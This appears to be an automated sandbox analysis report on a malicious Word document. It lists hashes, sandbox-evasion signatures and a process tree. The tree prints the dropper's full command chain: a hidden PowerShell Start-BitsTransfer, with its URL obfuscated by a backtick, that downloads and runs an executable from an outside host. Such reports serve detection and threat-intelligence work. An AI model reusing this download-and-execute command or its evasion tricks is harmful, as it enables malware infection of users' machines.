Analysis
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max time kernel
156s -
max time network
165s -
platform
windows10-2004_x64 -
resource
win10v2004-20240319-en -
resource tags
arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system -
submitted
10/04/2024, 14:31
Behavioral task
behavioral1
Sample
dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc
Resource
win10v2004-20240319-en
General
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Target
dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc
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Size
34KB
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MD5
12840e2c8a5f378153d9eaea226c592b
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SHA1
a6cfa25e5a9eb7fca97b19b2f5b8003ed7c7aaae
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SHA256
dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f
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SHA512
d5c07898f3d313a12a38bc730543a33b68d73786a1f798fa0b9277ba324b14ec5833a2f06bbef6c562b964d664c7fcc3beec245add1e8c2437418c5f2a89e84d
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SSDEEP
384:tUMbR2efiSUR/8dBQfq9uVJQSwy9y0jbUDIotCW:tUMbR2l/qmJ1wLQUD
Malware Config
Extracted
http://1833.site/gp00973.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3760 3216 cmd.exe 93 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3216 WINWORD.EXE 3216 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4908 powershell.exe 4908 powershell.exe 4908 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4908 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE 3216 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3216 wrote to memory of 3760 3216 WINWORD.EXE 99 PID 3216 wrote to memory of 3760 3216 WINWORD.EXE 99 PID 3760 wrote to memory of 4908 3760 cmd.exe 102 PID 3760 wrote to memory of 4908 3760 cmd.exe 102
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\wanthistory.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h Start-BitsTransfer -Source htt`p://1833.site/gp00973.exe -Destination C:\Users\Public\Documents\regioncheck.exe;C:\Users\Public\Documents\regioncheck.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3728 --field-trial-handle=2256,i,5035714022000286426,16259316383734940314,262144 --variations-seed-version /prefetch:81⤵PID:6004
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl
Filesize245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
172B
MD5eae996bcbd727eb45365a2230d52485d
SHA1cb10800dfc57c9d581ce52f15f36edb3e1e2a9ef
SHA2563b3dc0f2befb4174f856fcec6e5237be9c4102c9f54ed2062d3c9e5b6c23fe55
SHA5126ff5af5b8b60d599e5b705e69f817a79e90cc43b5336a3887e156ced213781e6f64add54d2354bbeb0cbca4fd9b9b39c050f6b4950409f7beb2ae13e1040bd66